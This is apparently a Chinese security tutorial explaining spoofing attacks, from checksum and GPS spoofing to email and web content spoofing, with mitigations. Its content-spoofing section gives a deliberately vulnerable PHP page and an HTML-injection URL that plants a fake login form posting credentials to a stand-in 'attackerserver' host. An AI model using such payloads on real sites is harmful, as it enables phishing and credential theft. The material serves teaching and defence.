[toc]
简述
知己知彼,方能百战百胜。 -《孙子兵法》
备注:根据自身知识面及相关理解会对内容进行不定时更新
更新日期:2021年2月7日
欢迎大家一起讨论与完善
引申知识
何为欺骗攻击
- 英文:Engage in Deceptive Interactions
- 欺骗就像犯罪本身一样古老,骗子们使用狡诈的方法来欺骗人们,以使自己获得非法利益。在现实世界中,这种行为长期以来一直是犯罪活动的主流,而现在已经深入到了虚拟世界。
- 欺骗攻击是描述一种行为类型的广义术语,是指网络罪犯试图伪装成可信任的用户或设备,从而欺骗您做一些对攻击者有利、对受害者不利的事情
- 此类别中的攻击模式着眼于与目标的恶意交互,试图欺骗目标,使目标相信它是在与其他委托人互动,从而根据目标与其他委托人之间存在的信任程度采取行动。
- 这些类型的攻击假设某些内容或功能与身份相关联,并且由于这种相关联,该内容/功能被目标信任。
- 这些类型的攻击通常以 "欺骗 "一词来识别,它们依赖于对内容和/或身份的伪造,从而使目标会错误地信任内容的合法性。
例如,攻击者可能修改双方之间的金融交易,使参与者保持不变,但交易金额增加。如果收件人无法检测到变化,他们可能会错误地认为修改后的消息来源于原始发送者。 - 这些类型的攻击可能涉及对手从头开始制作内容,或捕获和修改合法内容。
何为内容欺骗攻击
- 英文:Content Spoofing
- 攻击者修改内容以使其包含原始内容生产者想要的内容以外的内容,同时保持内容的外观来源不变。
- 内容欺骗一词最常用于描述由目标托管的网页的修改,以显示对手的内容而不是所有者的内容。 但是,可以欺骗任何内容,包括电子邮件消息,文件传输的内容或其他网络通信协议的内容。
- 内容可以在源处进行修改(例如,修改网页的源文件)或在传输过程中(例如,在发送方和接收方之间截取和修改消息)。
- 通常,对手会试图隐藏内容已被修改的事实,但是在某些情况下,例如网站被污损,这是不必要的。 内容欺骗可能导致恶意软件暴露,财务欺诈(如果内容控制财务交易),侵犯隐私和其他不良后果。
校验和欺骗攻击
何为校验和
- 检验和(checksum),在数据处理和数据通信领域中,用于校验目的地一组数据项的和,它通常是以十六进制为数制表示的形式。
- 如果校验和的数值超过十六进制的FF,也就是255. 就要求其补码作为校验和。通常用来在通信中,尤其是远距离通信中保证数据的完整性和准确性。
- 这些数据项可以是数字或在计算检验的过程中看作数字的其它字符串。校验和(checksum)是指传输位数的累加,当传输结束时,接收者可以根据这个数值判断是否接到了所有的数据。如果数值匹配,那么说明传送已经完成。
- TCP和UDP传输层都提供了一个校验和与验证总数是否匹配的服务功能,其中TCP校验和是一个端到端的校验和,由发送端计算,然后由接收端验证。其目的是为了发现TCP首部和数据在发送端到接收端之间发生的任何改动。如果接收方检测到校验和有差错,则TCP段会被直接丢弃。
何为校验和欺骗攻击
- 英文:Checksum Spoofing
- 攻击者伪造了一个校验和,目的是使有效攻击负载看起来像是一个正常的校验和。 校验和通常用于验证消息的完整性,它们由基于它们所保护的消息内容的一些值所组成。
- 哈希码是一种常见的校验和计算机制。 发送者和接收者都能够基于消息的内容计算校验和。 如果邮件内容在发送方和接收方之间更改,则发送方和接收方将计算不同的校验码。 由于发送者的校验和值与消息一起发送,因此接收者会知道发生了修改。 在校验和伪造攻击中,对手会修改邮件正文,然后修改相应的校验和,以便收件人的校验和计算将与邮件中的校验和(由攻击者创建)匹配, 这将阻止收件人意识到所接受到的内容发生了更改。
危害等级
中危
前提条件
- 攻击者必须能够拦截发信人的信息(不让收信人收到),修改信息,并将修改后的信息发送给收信人。
- 发送者和接收者必须使用一个校验和来保护其信息的完整性,并以对手能够拦截和修改信息的方式传输这个校验和。
- 攻击者需指定校验码的计算方法,使用只有发送者和接收者才知道的密钥的加密校验和,将能阻止这种攻击。
资源需求
攻击者需有一个可以拦截和修改发送者和接收者之间消息的工具。
示例
Plaintext: Place 10 orders.
Hash: T0mUNdEQh13IO9oTcaP4FYDX6pU=
利用成因
未采用一个好的验证方法,导致可被攻击者伪造。
前因后果
因无验证机制或错误地验证信息的完整性校验和,这将导致使软件无法检测数据是否在传输过程中被修改或损坏。
扩展知识
使用前对校验和进行不正确的验证会长生不必要的风险,但可以轻松地降低此风险。 规范用于计算校验码的算法,之后,只需执行计算并验证计算出的校验和与接收到的校验和是否匹配即可,但对计算出的校验码和收到的校验和的未进行一个有效的验证可能导致更大的危害。
被利用的可能性
中
示例
代码语言:C
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
代码语言:Java
while(true) {
DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
socket.send(sendPacket);
}
缓解措施
在解析和使用消息之前,请确保已根据协议规范正确检查消息中的校验和。
UDDI/ebXML消息欺骗攻击
何为UDDI/ebXML消息欺骗攻击
-
英文:Spoofing of UDDI/ebXML Messages
-
攻击者通过伪造UDDI,ebXML或类似消息来假冒电子商务交易中的服务提供商。
-
UDDI、ebXML 和类似的标准被用来识别电子商务交易中的企业。除其他外,它们还能识别特定的参与者、SOAP交易的WSDL信息以及支持的通信协议,包括安全协议。
-
攻击者通过欺骗这些消息之一,可以在交易中冒充合法的企业,或者可以操纵客户机和企业之间使用的协议。这可能会导致敏感信息的泄露,信息完整性的丧失,甚至金融欺诈。
前提条件
目标企业的UDDI或ebXML信息必须从攻击者可以欺骗或入侵的位置提供,或者攻击者必须能够拦截和修改传输中的不安全的UDDI/ebXML消息。 -
危害等级
中危 -
缓解措施
客户端只应信任UDDI、ebXML或由受信任方核实签署的类似信息。 -
资源需求
攻击者必须能够迫使目标用户接受其欺骗的UDDI或ebXML消息,而不是与合法公司关联的消息。根据后续的攻击,攻击者可能还需要提供自己的Web服务。
意图欺骗攻击
- 英文:Intent Spoof
- 攻击者通过已安装的恶意应用程序发布指向特定受信任应用程序组件的意图,以尝试实现各种不同的目的:包括数据修改,信息公开和数据注入。
- 意外导出并公开的组件会遭受此类攻击,如果组件盲目地信任意图的动作,则目标应用程序应对手的要求执行功能,从而帮助对手实现所需的负面技术影响。
前提条件
攻击者必须能够在Android设备上安装有针对性的恶意应用程序,并说服用户执行它,恶意应用程序将用于发布欺骗意图。
- 缓解措施
为了限制这种类型的攻击,开发者应该避免导出组件,除非该组件是专门设计用来处理来自不受信任的应用程序的请求。开发者应该意识到,声明意图过滤器将自动导出组件,使其暴露于公共访问。关键的、改变状态的动作不应该放在导出的组件中。如果一个组件同时处理应用间和应用内的请求,开发者应该考虑将该组件划分为单独的组件。如果一个组件必须被导出(例如,接收系统广播),那么该组件应该在执行任何操作之前动态地检查调用者的身份。要求Signature或SignatureOrSystem权限是限制组件暴露于一组受信任的应用程序的有效方法。最后,导出组件的返回值也会泄露私有数据,因此开发人员在返回敏感值之前应该检查调用者的身份。
GPS信号伪造攻击
-
英文:Counterfeit GPS Signals
-
攻击者企图通过广播伪造的GPS信号来欺骗GPS接收机,伪造的GPS信号的结构类似于一组正常的GPS信号。
-
这些欺骗信号的结构可以使接收方估计其位置,使其位置与实际位置不同,或者由对手确定其位于不同时间。
-
攻击概率
低 -
攻击危害
高 -
前提条件
目标必须依靠有效的GPS信号来执行关键操作。 -
所需资源
能够创建并播发GPS信号的设备。
电子邮件欺骗攻击
-
英文:Email spoofing attacks
-
电子邮件欺骗是最广泛使用的一种攻击手段,通常涉及到要求提供个人数据或进行财务交易。这些电子邮件似乎是来自可信任的发件人(例如客户、同事或经理),但实际上来自网络罪犯,他们故意掩饰自己以获取您的信任,并且通过他们希望您采取的行动来提供帮助。请求的目标可能是一笔汇款,或者是访问系统的权限。
-
此外,欺骗电子邮件有时还包含附件,一旦打开就会安装恶意软件,例如木马或病毒。在许多情况下,恶意软件的设计并不只是为了感染您的计算机,而是要扩散到您的整个网络。
-
在这一方面,欺骗攻击很大程度上依赖于社交工程,它能说服用户本人相信他们看到的内容是合法的,提示他们采取行动并打开附件、完成转账等等。
-
受攻击的可能性
高 -
危害等级
高 -
案例例举
-
如何防范
注意细节
全选到记事本查看,勿轻易点击邮件内容附带的URL
使用相关防护软件或设备
内容欺骗漏洞解析与寻找已发起的内容欺骗攻击
- 英文:Content Spoofing
- 内容欺骗(Content spoofing),也称为内容注入、"任意文本注入 "或虚拟污损,是一种针对用户的攻击,通过网络应用中的注入漏洞使之成为可能。当应用程序没有正确处理用户提供的数据时,攻击者可以向网络应用程序提供内容,通常是通过一个参数值,并反映给用户。这就给用户呈现了一个受信任域上下文下的修改页面。这种攻击通常作为社会工程使用,或者与社会工程一起使用,因为这种攻击是利用基于代码的漏洞和用户的信任。
补充一点:这种攻击被广泛误解为一种不会带来影响的bug。 - 攻击类型:客户端
- 风险因素:
风险因素取决于应用的业务类型。如果应用业务品牌知名,且有主要竞争对手,这个问题就会被恶意竞争对手/不满的员工/不满意的客户滥用,引发大量虚假信息向毫无戒心的客户传播。另一个提高风险的因素是通过做SEO注入的方式,让搜索引擎抓取并索引带有伪造信息的手工URL。
通过这样做,客户可能会被迫转而使用竞争对手的产品。这可能会导致货币价值的损失,直到受害企业妥善进行整改。对于上市公司来说,其股价将一落千丈,导致数百万的损失不受控制。
- 搜索引擎搜索已发起的内容欺骗攻击
intitle:"已泄露的攻击元素:如常见的电话、邮箱、qq等联系方式"
- 攻击案例
一名攻击者通过Twitter/Facebook/Instagram/类似的流行渠道泄露了拥有数千名追随者的社交帐户,并分发误导性的内容欺骗负载。这将导致媒体认为新闻是正确的,并创造头条新闻。 - 如何挖掘
在以下情况下可以轻松找到文本注入漏洞:
通过参数或直接在URL中输入的用户将反映在页面响应中
内容类型:文本/纯文本
应用程序给出默认错误页面 ,如:利用错误信息可自定义漏洞进行内容欺骗攻击行为
- 适用行业
出售一种产品作为主要业务功能的业务实体
例如:出租车服务,在线购物业务,在线服务业务
依赖品牌名称的企业实体
例如:化妆品品牌,航空公司品牌
出售一种产品作为主要业务功能的业务实体
例如:出租车服务,在线购物业务,在线服务业务
依赖品牌名称的企业实体
例如:化妆品品牌,航空公司品牌 - 常见攻击者身份例举
恶意竞争对手
心怀不满的员工
不满意的顾客
骗子
内容欺骗与跨站脚本的区别
内容欺骗是一种与跨站脚本(XSS)密切相关的攻击。XSS使用<script>
和其他技术来运行JavaScript,而内容欺骗则使用其他技术来修改页面以达到恶意的目的。
即使在Web应用程序内使用了XSS缓解技术,如适当的输出编码,应用程序仍可能受到基于文本的内容欺骗攻击。
- 示例
超文本标记语言(HTML)注入
下面演示了一个可能的攻击场景。对于这个场景,我们假设没有实现输出编码: - 攻击者发现了注入漏洞,并决定欺骗一个登录表单。
- 攻击者制作恶意链接,包括他们注入的HTML内容,并通过电子邮件发送给用户。
- 用户访问该页面是由于该页面位于一个可信域内
- 攻击者注入的HTML会被渲染并呈现给用户,要求用户输入用户名和密码。
- 用户输入用户名和密码,两者都会被发送到攻击者的服务器上。
一个简单的PHP页面,包含一个通过参数:name注入的漏洞:
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>
可以通过向页面发出以下GET请求来测试页面功能:http://127.0.0.1/vulnerable.php?name=test。(需根据示例代码创建相关php文件,外加本地有支持php运行的相关服务,如:常用phpstudy搭建php运行环境)
通过请求下面的链接,页面会渲染注入的HTML,呈现一个登录表单,并在注入点后注释出页面的其他部分。一旦用户输入他们的用户名和密码,这些值就会通过POST.login.php被发送到攻击者服务器上一个名为的页面。
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST"
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password"
name="password" /><br /><input type="submit" value="Login" /></form><!--
文本注入
内容欺骗攻击的另一个例子是通过文本操作向用户呈现虚假信息。下面是一个攻击场景。对于这个场景,让我们假设正确的输出编码已经实现,XSS是不可能的。
1.攻击者发现一个网络应用程序,它向用户推荐他们是否应该买入或卖出某只股票。
2.攻击者确定了一个脆弱的参数
3.攻击者通过稍微修改有效的请求来制作一个恶意链接
4.包含修改后的请求的链接被发送给用户,用户点击该链接。
5.使用攻击者的恶意推荐创建了一个有效的网页,用户认为该推荐来自股票网站。
URL模拟案例:
-
有效页面:
存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now
-
修改页
存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now
-
其他例子:
-
修改页
存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.
参考资料
- 《校验和百科》
- 《卡巴斯基资源中心》
- 《CAPEC》
- 《CWE》
- 《Distributed Systems Security: Issues, Processes and Solutions》
- 《微步威胁情报》
- 《Content Spoofing》